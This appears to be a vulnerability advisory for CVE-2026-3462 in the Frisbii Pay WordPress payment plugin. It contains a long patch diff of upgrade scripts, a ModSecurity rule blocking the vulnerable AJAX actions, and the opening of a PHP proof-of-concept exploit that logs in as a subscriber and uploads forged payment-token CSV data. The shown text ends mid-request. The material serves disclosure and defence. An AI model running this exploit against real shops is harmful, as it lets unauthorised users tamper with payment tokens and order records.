-	if ($subscription->get_payment_method() !== $gateway->id) {
-		$log->add( $handler, sprintf( '[INFO] Subscription #%s was paid using %s. Skip it.', $subscription->get_id(), $subscription->get_payment_method() ) );
-		continue;
-	}
-
-	$log->add( $handler, sprintf( 'Processing subscription #%s', $subscription->get_id() ) );
-	$token_id = $subscription->get_parent()->get_meta( '_reepay_token_id' );
-	if ( empty( $token_id ) ) {
-		$log->add( $handler, sprintf( '[INFO] Subscription #%s doesn't have token id.', $subscription->get_id() ) );
-		continue;
-	}
-
-	// Get Token
-	$token = new TokenReepay( $token_id );
-	if ( ! $token->get_id() ) {
-		$log->add( $handler, sprintf( '[INFO] Invalid Token ID #%s doesn't have token id.', $token_id ) );
-		continue;
-	}
-
-	if ( $token->get_gateway_id() !== $gateway->id ) {
-		$log->add( $handler, sprintf( '[INFO] Card Token ID #%s doesn't related to Reepay.', $token_id ) );
-		continue;
-	}
-
-	// Check subscription's token
-	$subscriptions_tokens = $subscription->get_meta( '_payment_tokens' );
-	if ( empty( $subscriptions_tokens ) ) {
-		try {
-			ReepayCheckout::assign_payment_token( $subscription, $token );
-			$log->add( $handler, sprintf( '[SUCCESS] Token #%s assigned to subscription #%s.', $token->get_id(), $subscription->get_id() ) );
-		} catch ( Exception $e ) {
-			$log->add( $handler, sprintf( '[ERROR] Token #%s not assigned to subscription #%s.', $token->get_id(), $subscription->get_id() ) );
-		}
-	}
-
-	// Get renewal orders
-	$orders = $subscription->get_related_orders( 'all', $order_types = array( 'renewal' ) );
-	foreach ( $orders as $order ) {
-		/** WC_Order $order */
-		$order_tokens = $order->get_meta( '_payment_tokens' );
-		if ( empty( $order_tokens ) ) {
-			try {
-				ReepayCheckout::assign_payment_token( $order, $token );
-				$log->add( $handler, sprintf( '[SUCCESS] Token #%s assigned to order #%s.', $token->get_id(), $order->get_id() ) );
-			} catch ( Exception $e ) {
-				$log->add( $handler, sprintf( '[ERROR] Token #%s not  assigned to order #%s.', $token->get_id(), $order->get_id() ) );
-			}
-		}
-	}
-}
-
-$log->add( $handler, 'Upgrade has been completed!' );
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+use ReepayCheckoutTokensTokenReepay;
+
+defined( 'ABSPATH' ) || exit;
+
+// Set PHP Settings
+set_time_limit( 0 );
+ini_set( 'memory_limit', '2048M' );
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+// Preliminary checking
+if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
+	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
+	return;
+}
+
+// Gateway
+$gateway = new ReepayCheckout();
+
+$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
+
+// Load Subscriptions
+$subscriptions = array();
+foreach ( get_users() as $user ) {
+	foreach ( wcs_get_users_subscriptions( $user->ID ) as $subscription ) {
+		$subscriptions[ $subscription->get_id() ] = $subscription;
+	}
+}
+
+$log->add( $handler, sprintf( 'Loaded %s subscriptions', count( $subscriptions ) ) );
+
+// Process Subscriptions
+$cards = array();
+foreach ( $subscriptions as $subscription ) {
+	/** @var WC_Subscription $subscription */
+	if ($subscription->get_payment_method() !== $gateway->id) {
+		$log->add( $handler, sprintf( '[INFO] Subscription #%s was paid using %s. Skip it.', $subscription->get_id(), $subscription->get_payment_method() ) );
+		continue;
+	}
+
+	$log->add( $handler, sprintf( 'Processing subscription #%s', $subscription->get_id() ) );
+	$token_id = $subscription->get_parent()->get_meta( '_reepay_token_id' );
+	if ( empty( $token_id ) ) {
+		$log->add( $handler, sprintf( '[INFO] Subscription #%s doesn't have token id.', $subscription->get_id() ) );
+		continue;
+	}
+
+	// Get Token
+	$token = new TokenReepay( $token_id );
+	if ( ! $token->get_id() ) {
+		$log->add( $handler, sprintf( '[INFO] Invalid Token ID #%s doesn't have token id.', $token_id ) );
+		continue;
+	}
+
+	if ( $token->get_gateway_id() !== $gateway->id ) {
+		$log->add( $handler, sprintf( '[INFO] Card Token ID #%s doesn't related to Reepay.', $token_id ) );
+		continue;
+	}
+
+	// Check subscription's token
+	$subscriptions_tokens = $subscription->get_meta( '_payment_tokens' );
+	if ( empty( $subscriptions_tokens ) ) {
+		try {
+			ReepayCheckout::assign_payment_token( $subscription, $token );
+			$log->add( $handler, sprintf( '[SUCCESS] Token #%s assigned to subscription #%s.', $token->get_id(), $subscription->get_id() ) );
+		} catch ( Exception $e ) {
+			$log->add( $handler, sprintf( '[ERROR] Token #%s not assigned to subscription #%s.', $token->get_id(), $subscription->get_id() ) );
+		}
+	}
+
+	// Get renewal orders
+	$orders = $subscription->get_related_orders( 'all', $order_types = array( 'renewal' ) );
+	foreach ( $orders as $order ) {
+		/** WC_Order $order */
+		$order_tokens = $order->get_meta( '_payment_tokens' );
+		if ( empty( $order_tokens ) ) {
+			try {
+				ReepayCheckout::assign_payment_token( $order, $token );
+				$log->add( $handler, sprintf( '[SUCCESS] Token #%s assigned to order #%s.', $token->get_id(), $order->get_id() ) );
+			} catch ( Exception $e ) {
+				$log->add( $handler, sprintf( '[ERROR] Token #%s not  assigned to order #%s.', $token->get_id(), $order->get_id() ) );
+			}
+		}
+	}
+}
+
+$log->add( $handler, 'Upgrade has been completed!' );
--- a/reepay-checkout-gateway/updates/update-1.2.0.php
+++ b/reepay-checkout-gateway/updates/update-1.2.0.php
@@ -1,58 +1,58 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Set PHP Settings
-set_time_limit( 0 );
-ini_set( 'memory_limit', '2048M' );
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-// Preliminary checking
-if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
-	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
-	return;
-}
-
-// Gateway
-$gateway = new ReepayCheckout();
-
-$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
-
-// Get Orders
-$orders = wc_get_orders( array() );
-foreach ($orders as $key => $order) {
-	/** @var WC_Order $order */
-	// Skip refunds
-	if ( $order->get_type() === 'shop_order_refund'	) {
-	    continue;
-    }
-
-    if ( $order->get_payment_method() !== $gateway->id ) {
-        continue;
-    }
-
-    // Check is renewal order
-	if ( ! wcs_order_contains_renewal( $order ) ) {
-		continue;
-	}
-
-	$handle = $order->get_meta( '_reepay_order' );
-	if ( ! empty( $handle ) ) {
-		// Check if reepay handler is different that expected
-		$check_id = str_replace( 'order-', '', $handle );
-		if ($check_id != $order->get_id()) {
-			// Update handler
-			$handle = 'order-' . $order->get_id();
-			$order->update_meta_data( '_reepay_order', $handle );
-			$order->save_meta_data();
-			$log->add( $handler, sprintf( '[SUCCESS] Updated reepay handler for order #%s. Handler before: %s', $order->get_id(), $handle ) );
-		}
-	}
-}
-
-$log->add( $handler, 'Upgrade has been completed!' );
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Set PHP Settings
+set_time_limit( 0 );
+ini_set( 'memory_limit', '2048M' );
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+// Preliminary checking
+if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
+	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
+	return;
+}
+
+// Gateway
+$gateway = new ReepayCheckout();
+
+$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
+
+// Get Orders
+$orders = wc_get_orders( array() );
+foreach ($orders as $key => $order) {
+	/** @var WC_Order $order */
+	// Skip refunds
+	if ( $order->get_type() === 'shop_order_refund'	) {
+	    continue;
+    }
+
+    if ( $order->get_payment_method() !== $gateway->id ) {
+        continue;
+    }
+
+    // Check is renewal order
+	if ( ! wcs_order_contains_renewal( $order ) ) {
+		continue;
+	}
+
+	$handle = $order->get_meta( '_reepay_order' );
+	if ( ! empty( $handle ) ) {
+		// Check if reepay handler is different that expected
+		$check_id = str_replace( 'order-', '', $handle );
+		if ($check_id != $order->get_id()) {
+			// Update handler
+			$handle = 'order-' . $order->get_id();
+			$order->update_meta_data( '_reepay_order', $handle );
+			$order->save_meta_data();
+			$log->add( $handler, sprintf( '[SUCCESS] Updated reepay handler for order #%s. Handler before: %s', $order->get_id(), $handle ) );
+		}
+	}
+}
+
+$log->add( $handler, 'Upgrade has been completed!' );
--- a/reepay-checkout-gateway/updates/update-1.2.2.php
+++ b/reepay-checkout-gateway/updates/update-1.2.2.php
@@ -1,28 +1,28 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Set PHP Settings
-set_time_limit( 0 );
-ini_set( 'memory_limit', '2048M' );
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-// Preliminary checking
-if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
-	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
-	return;
-}
-
-// Gateway
-$gateway = new ReepayCheckout();
-
-$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
-
-// Upgrade script was moved to update-1.2.3.php
-
-$log->add( $handler, 'Upgrade has been completed!' );
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Set PHP Settings
+set_time_limit( 0 );
+ini_set( 'memory_limit', '2048M' );
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+// Preliminary checking
+if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
+	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
+	return;
+}
+
+// Gateway
+$gateway = new ReepayCheckout();
+
+$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
+
+// Upgrade script was moved to update-1.2.3.php
+
+$log->add( $handler, 'Upgrade has been completed!' );
--- a/reepay-checkout-gateway/updates/update-1.2.3.php
+++ b/reepay-checkout-gateway/updates/update-1.2.3.php
@@ -1,145 +1,145 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Set PHP Settings
-set_time_limit( 0 );
-ini_set( 'memory_limit', '2048M' );
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-// Preliminary checking
-if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
-	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
-	return;
-}
-
-// Gateway
-$gateway = new ReepayCheckout();
-
-$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
-
-try {
-	// Load Subscriptions
-	$subscriptions = array();
-	foreach ( get_users() as $user ) {
-		foreach ( wcs_get_users_subscriptions( $user->ID ) as $subscription ) {
-			if ( $subscription->get_payment_method() === $gateway->id ) {
-				$subscriptions[ $subscription->get_id() ] = $subscription;
-			}
-		}
-	}
-
-	$log->add( $handler, sprintf( 'Loaded %s subscriptions', count( $subscriptions ) ) );
-
-	// Process Subscriptions
-	$processed = array();
-	foreach ( $subscriptions as $subscription ) {
-		$token = ReepayCheckout::get_payment_token_order( $subscription );
-
-		if ( ! $token ) {
-			$log->add( $handler, sprintf( '[INFO] Subscription #%s doesn't have assigned tokens.', $subscription->get_id() ) );
-			continue;
-		}
-
-		// Check Token ID
-		$token_id = $subscription->get_meta( '_reepay_token_id' );
-		if ( empty( $token_id ) ) {
-			$subscription->update_meta_data( '_reepay_token_id', $token->get_id() );
-			$subscription->save_meta_data();
-			$processed[ $subscription->get_id() ] = $subscription;
-			$log->add( $handler, sprintf( '[SUCCESS] Subscription #%s. Token ID was filled.', $subscription->get_id() ) );
-		}
-
-		// Check Token
-		$reepay_token = $subscription->get_meta( '_reepay_token' );
-		if ( empty( $reepay_token ) ) {
-			$subscription->update_meta_data( '_reepay_token', $token->get_token() );
-			$subscription->update_meta_data( 'reepay_token', $token->get_token() );
-			$subscription->save_meta_data();
-			$processed[ $subscription->get_id() ] = $subscription;
-			$log->add( $handler, sprintf( '[SUCCESS] Subscription #%s. Token was filled.', $subscription->get_id() ) );
-		}
-	}
-} catch (Exception $e) {
-	$log->add( $handler, sprintf( '[ERROR] Upgrade is failed. Details: %s. %s', $e->getMessage(), $e->getTraceAsString() ) );
-
-	throw new Exception( 'Upgrade is failed. Please check logs.' );
-}
-
-// Process renewal orders
-foreach ($processed as $subscription_id => $subscription) {
-	/** @var WC_Subscription $subscription */
-	$renewal_orders = $subscription->get_related_orders( 'ids', 'renewal' );
-	if ( count( $renewal_orders ) > 0 ) {
-		$order_id = max( $renewal_orders );
-		$order = wc_get_order( $order_id );
-
-		// Check order notes
-		$is_need_charge = false;
-		$notes = reepay_get_order_notes( $order_id );
-		foreach ($notes as $note) {
-			if ( mb_strpos( $note['content'], 'Transaction already settled', 0, 'UTF-8' ) !== false ) {
-				$is_need_charge = true;
-				break;
-			}
-		}
-
-		// Try to charge
-		if ( $is_need_charge ) {
-			if ( ! empty( $order->get_transaction_id() ) ) {
-				$log->add( $handler, sprintf( '[INFO] It seem order #%s was paid with transaction #%s', $order->get_id(), $order->get_transaction_id() ) );
-				continue;
-			}
-
-			// Update _reepay_order meta
-			$meta = $order->get_meta( '_reepay_order' );
-			$order->update_meta_data( '_reepay_order', 'order-' . $order->get_id() );
-			$order->save_meta_data();
-			$log->add( $handler, sprintf( '[INFO] Meta of order #%s changed. Meta that was before: %s', $order->get_id(), $meta ) );
-
-			// Charge
-			try {
-				$log->add( $handler, sprintf( '[SUCCESS] Charge method removed. Subscription #%s. Order #%s.', $subscription->get_id(), $order->get_id() ) );
-			} catch (Exception $e) {
-				$log->add( $handler, sprintf( '[ERROR] scheduled_subscription_payment: %s. %s', $e->getMessage(), $e->getTraceAsString() ) );
-			}
-		}
-	}
-}
-
-$log->add( $handler, 'Upgrade has been completed!' );
-
-/**
- * Get Order Notes
- * @param mixed $order_id
- *
- * @return array
- */
-function reepay_get_order_notes( $order_id ): array {
-	global $wpdb;
-
-	$table = $wpdb->prefix . 'comments';
-	$results = $wpdb->get_results("
-        SELECT *
-        FROM $table
-        WHERE  `comment_post_ID` = $order_id
-        AND  `comment_type` LIKE  'order_note'
-    ");
-
-	$order_notes = array();
-	foreach ( $results as $note ) {
-		$order_notes[] = array(
-			'id'      => $note->comment_ID,
-			'date'    => $note->comment_date,
-			'author'  => $note->comment_author,
-			'content' => $note->comment_content,
-		);
-	}
-
-	return $order_notes;
-}
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Set PHP Settings
+set_time_limit( 0 );
+ini_set( 'memory_limit', '2048M' );
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+// Preliminary checking
+if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
+	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
+	return;
+}
+
+// Gateway
+$gateway = new ReepayCheckout();
+
+$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
+
+try {
+	// Load Subscriptions
+	$subscriptions = array();
+	foreach ( get_users() as $user ) {
+		foreach ( wcs_get_users_subscriptions( $user->ID ) as $subscription ) {
+			if ( $subscription->get_payment_method() === $gateway->id ) {
+				$subscriptions[ $subscription->get_id() ] = $subscription;
+			}
+		}
+	}
+
+	$log->add( $handler, sprintf( 'Loaded %s subscriptions', count( $subscriptions ) ) );
+
+	// Process Subscriptions
+	$processed = array();
+	foreach ( $subscriptions as $subscription ) {
+		$token = ReepayCheckout::get_payment_token_order( $subscription );
+
+		if ( ! $token ) {
+			$log->add( $handler, sprintf( '[INFO] Subscription #%s doesn't have assigned tokens.', $subscription->get_id() ) );
+			continue;
+		}
+
+		// Check Token ID
+		$token_id = $subscription->get_meta( '_reepay_token_id' );
+		if ( empty( $token_id ) ) {
+			$subscription->update_meta_data( '_reepay_token_id', $token->get_id() );
+			$subscription->save_meta_data();
+			$processed[ $subscription->get_id() ] = $subscription;
+			$log->add( $handler, sprintf( '[SUCCESS] Subscription #%s. Token ID was filled.', $subscription->get_id() ) );
+		}
+
+		// Check Token
+		$reepay_token = $subscription->get_meta( '_reepay_token' );
+		if ( empty( $reepay_token ) ) {
+			$subscription->update_meta_data( '_reepay_token', $token->get_token() );
+			$subscription->update_meta_data( 'reepay_token', $token->get_token() );
+			$subscription->save_meta_data();
+			$processed[ $subscription->get_id() ] = $subscription;
+			$log->add( $handler, sprintf( '[SUCCESS] Subscription #%s. Token was filled.', $subscription->get_id() ) );
+		}
+	}
+} catch (Exception $e) {
+	$log->add( $handler, sprintf( '[ERROR] Upgrade is failed. Details: %s. %s', $e->getMessage(), $e->getTraceAsString() ) );
+
+	throw new Exception( 'Upgrade is failed. Please check logs.' );
+}
+
+// Process renewal orders
+foreach ($processed as $subscription_id => $subscription) {
+	/** @var WC_Subscription $subscription */
+	$renewal_orders = $subscription->get_related_orders( 'ids', 'renewal' );
+	if ( count( $renewal_orders ) > 0 ) {
+		$order_id = max( $renewal_orders );
+		$order = wc_get_order( $order_id );
+
+		// Check order notes
+		$is_need_charge = false;
+		$notes = reepay_get_order_notes( $order_id );
+		foreach ($notes as $note) {
+			if ( mb_strpos( $note['content'], 'Transaction already settled', 0, 'UTF-8' ) !== false ) {
+				$is_need_charge = true;
+				break;
+			}
+		}
+
+		// Try to charge
+		if ( $is_need_charge ) {
+			if ( ! empty( $order->get_transaction_id() ) ) {
+				$log->add( $handler, sprintf( '[INFO] It seem order #%s was paid with transaction #%s', $order->get_id(), $order->get_transaction_id() ) );
+				continue;
+			}
+
+			// Update _reepay_order meta
+			$meta = $order->get_meta( '_reepay_order' );
+			$order->update_meta_data( '_reepay_order', 'order-' . $order->get_id() );
+			$order->save_meta_data();
+			$log->add( $handler, sprintf( '[INFO] Meta of order #%s changed. Meta that was before: %s', $order->get_id(), $meta ) );
+
+			// Charge
+			try {
+				$log->add( $handler, sprintf( '[SUCCESS] Charge method removed. Subscription #%s. Order #%s.', $subscription->get_id(), $order->get_id() ) );
+			} catch (Exception $e) {
+				$log->add( $handler, sprintf( '[ERROR] scheduled_subscription_payment: %s. %s', $e->getMessage(), $e->getTraceAsString() ) );
+			}
+		}
+	}
+}
+
+$log->add( $handler, 'Upgrade has been completed!' );
+
+/**
+ * Get Order Notes
+ * @param mixed $order_id
+ *
+ * @return array
+ */
+function reepay_get_order_notes( $order_id ): array {
+	global $wpdb;
+
+	$table = $wpdb->prefix . 'comments';
+	$results = $wpdb->get_results("
+        SELECT *
+        FROM $table
+        WHERE  `comment_post_ID` = $order_id
+        AND  `comment_type` LIKE  'order_note'
+    ");
+
+	$order_notes = array();
+	foreach ( $results as $note ) {
+		$order_notes[] = array(
+			'id'      => $note->comment_ID,
+			'date'    => $note->comment_date,
+			'author'  => $note->comment_author,
+			'content' => $note->comment_content,
+		);
+	}
+
+	return $order_notes;
+}
--- a/reepay-checkout-gateway/updates/update-1.2.9.php
+++ b/reepay-checkout-gateway/updates/update-1.2.9.php
@@ -1,75 +1,75 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-$gateway = new ReepayCheckout();
-$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
-if ( empty( $is_webhook_configured ) &&
-     ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test ) )
-) {
-	// Check the webhooks settings
-	try {
-		$result = reepay()->api( $gateway )->request('GET', 'https://api.reepay.com/v1/account/webhook_settings' );
-		if ( is_wp_error( $result ) ) {
-			/** @var WP_Error $result */
-			throw new Exception( $result->get_error_message(), $result->get_error_code() );
-		}
-
-		// The webhook settings
-		$urls         = $result['urls'];
-		$alert_emails = $result['alert_emails'];
-
-		// The webhook settings of the payment plugin
-		$webhook_url = WC()->api_request_url( get_class( $gateway ) );
-		$alert_email = '';
-		if ( ! empty( $gateway->failed_webhooks_email ) &&
-		     is_email( $gateway->failed_webhooks_email )
-		) {
-			$alert_email = $gateway->failed_webhooks_email;
-		}
-
-		// Verify the webhook settings
-		if ( in_array( $webhook_url, $urls ) &&
-		     ( empty( $alert_email ) || in_array( $alert_email, $alert_emails ) )
-		) {
-			// Webhook has been configured before
-			$gateway->update_option( 'is_webhook_configured', 'yes' );
-		} else {
-			// Update the webhook settings
-			try {
-				$urls[] = $webhook_url;
-
-				if ( ! empty( $alert_email ) && is_email( $alert_email ) ) {
-					$alert_emails[] = $alert_email;
-				}
-
-				$data = array(
-					'urls'         => array_unique( $urls ),
-					'disabled'     => false,
-					'alert_emails' => array_unique( $alert_emails )
-				);
-
-				$result = reepay()->api( $gateway )->request('PUT', 'https://api.reepay.com/v1/account/webhook_settings', $data);
-				if ( is_wp_error( $result ) ) {
-					/** @var WP_Error $result */
-					throw new Exception( $result->get_error_message(), $result->get_error_code() );
-				}
-
-				$log->log( $handler, sprintf( 'WebHook has been successfully created/updated: %s', var_export( $result, true ) ) );
-				$gateway->update_option( 'is_webhook_configured', 'yes' );
-			} catch ( Exception $e ) {
-				$gateway->update_option( 'is_webhook_configured', 'no' );
-				$log->log( $handler, sprintf( 'WebHook creation/update has been failed: %s', var_export( $result, true ) ) );
-			}
-		}
-	} catch ( Exception $e ) {
-		$gateway->update_option( 'is_webhook_configured', 'no' );
-		$log->log( $handler, 'Unable to retrieve the webhook settings. Wrong api credentials?' );
-	}
-}
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+$gateway = new ReepayCheckout();
+$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
+if ( empty( $is_webhook_configured ) &&
+     ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test ) )
+) {
+	// Check the webhooks settings
+	try {
+		$result = reepay()->api( $gateway )->request('GET', 'https://api.reepay.com/v1/account/webhook_settings' );
+		if ( is_wp_error( $result ) ) {
+			/** @var WP_Error $result */
+			throw new Exception( $result->get_error_message(), $result->get_error_code() );
+		}
+
+		// The webhook settings
+		$urls         = $result['urls'];
+		$alert_emails = $result['alert_emails'];
+
+		// The webhook settings of the payment plugin
+		$webhook_url = WC()->api_request_url( get_class( $gateway ) );
+		$alert_email = '';
+		if ( ! empty( $gateway->failed_webhooks_email ) &&
+		     is_email( $gateway->failed_webhooks_email )
+		) {
+			$alert_email = $gateway->failed_webhooks_email;
+		}
+
+		// Verify the webhook settings
+		if ( in_array( $webhook_url, $urls ) &&
+		     ( empty( $alert_email ) || in_array( $alert_email, $alert_emails ) )
+		) {
+			// Webhook has been configured before
+			$gateway->update_option( 'is_webhook_configured', 'yes' );
+		} else {
+			// Update the webhook settings
+			try {
+				$urls[] = $webhook_url;
+
+				if ( ! empty( $alert_email ) && is_email( $alert_email ) ) {
+					$alert_emails[] = $alert_email;
+				}
+
+				$data = array(
+					'urls'         => array_unique( $urls ),
+					'disabled'     => false,
+					'alert_emails' => array_unique( $alert_emails )
+				);
+
+				$result = reepay()->api( $gateway )->request('PUT', 'https://api.reepay.com/v1/account/webhook_settings', $data);
+				if ( is_wp_error( $result ) ) {
+					/** @var WP_Error $result */
+					throw new Exception( $result->get_error_message(), $result->get_error_code() );
+				}
+
+				$log->log( $handler, sprintf( 'WebHook has been successfully created/updated: %s', var_export( $result, true ) ) );
+				$gateway->update_option( 'is_webhook_configured', 'yes' );
+			} catch ( Exception $e ) {
+				$gateway->update_option( 'is_webhook_configured', 'no' );
+				$log->log( $handler, sprintf( 'WebHook creation/update has been failed: %s', var_export( $result, true ) ) );
+			}
+		}
+	} catch ( Exception $e ) {
+		$gateway->update_option( 'is_webhook_configured', 'no' );
+		$log->log( $handler, 'Unable to retrieve the webhook settings. Wrong api credentials?' );
+	}
+}
--- a/reepay-checkout-gateway/updates/update-1.4.54.php
+++ b/reepay-checkout-gateway/updates/update-1.4.54.php
@@ -1,17 +1,17 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-$gateway = new ReepayCheckout();
-$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
-if ( empty( $is_webhook_configured ) &&
-     ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test ) )
-) {
-	$gateway->is_webhook_configured();
-}
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+$gateway = new ReepayCheckout();
+$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
+if ( empty( $is_webhook_configured ) &&
+     ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test ) )
+) {
+	$gateway->is_webhook_configured();
+}
--- a/reepay-checkout-gateway/updates/update-1.4.70.php
+++ b/reepay-checkout-gateway/updates/update-1.4.70.php
@@ -1,16 +1,16 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-
-defined( 'ABSPATH' ) || exit;
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-$gateway = new ReepayCheckout();
-$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
-if ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test )
-) {
-	$gateway->is_webhook_configured();
-}
+<?php
+
+use ReepayCheckoutGatewaysReepayCheckout;
+
+defined( 'ABSPATH' ) || exit;
+
+// Logger
+$log     = new WC_Logger();
+$handler = 'wc-reepay-update';
+
+$gateway = new ReepayCheckout();
+$is_webhook_configured = $gateway->get_option( 'is_webhook_configured' );
+if ( ! empty( $gateway->private_key ) || ! empty( $gateway->private_key_test )
+) {
+	$gateway->is_webhook_configured();
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263462,phase:2,deny,status:403,chain,msg:'CVE-2026-3462 via Frisbii Pay AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-3462',tag:'wordpress',tag:'frisbii-pay'"
  SecRule ARGS_POST:action "@rx ^upload_csv$|^process_bach$|^migration_mobilepay_to_vipps$" "t:lowercase,chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3462 - Frisbii Pay <= 1.8.9 - Missing Authorization to Authenticated (Subscriber+) Payment Token Modification

/**
 * This PoC demonstrates exploitation of missing capability checks in Frisbii Pay AJAX handlers.
 * An authenticated user with Subscriber role can upload arbitrary CSV data via upload_csv action
 * and then process it via process_batch to overwrite payment tokens, postmeta, and order_meta.
 */

// Configuration - set these before running
$target_url = 'https://example.com';  // Target WordPress site
$username = 'subscriber_user';       // Subscriber-level account
$password = 'password';              // Password for the account

// Cookie file for session persistence
$cookie_jar = tempnam(sys_get_temp_dir(), 'CVE-2026-3462');

// Step 1: Authenticate as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
));
$login_response = curl_exec($ch);
curl_close($ch);

echo "[*] Authentication attempted.n";

// Step 2: Create malicious CSV payload
// This CSV will insert fake payment token data into the temporary table (reepay_tokens)
$csv_data = "handle,token_type,masked_card,exp_date,invoice_handle,statusn";
$csv_data .= "sub_malicious,creditcard,411111XXXXXX1111,12/28,inv_malicious,activen";
$csv_data .= "sub_malicious2,creditcard,550000XXXXXX0000,01/29,inv_malicious2,activen";

// Create a temporary CSV file
$csv_file = tempnam(sys_get_temp_dir(), 'exploit_csv');
file_put_contents($csv_file, $csv_data);

// Step 3: Upload CSV via upload_csv AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
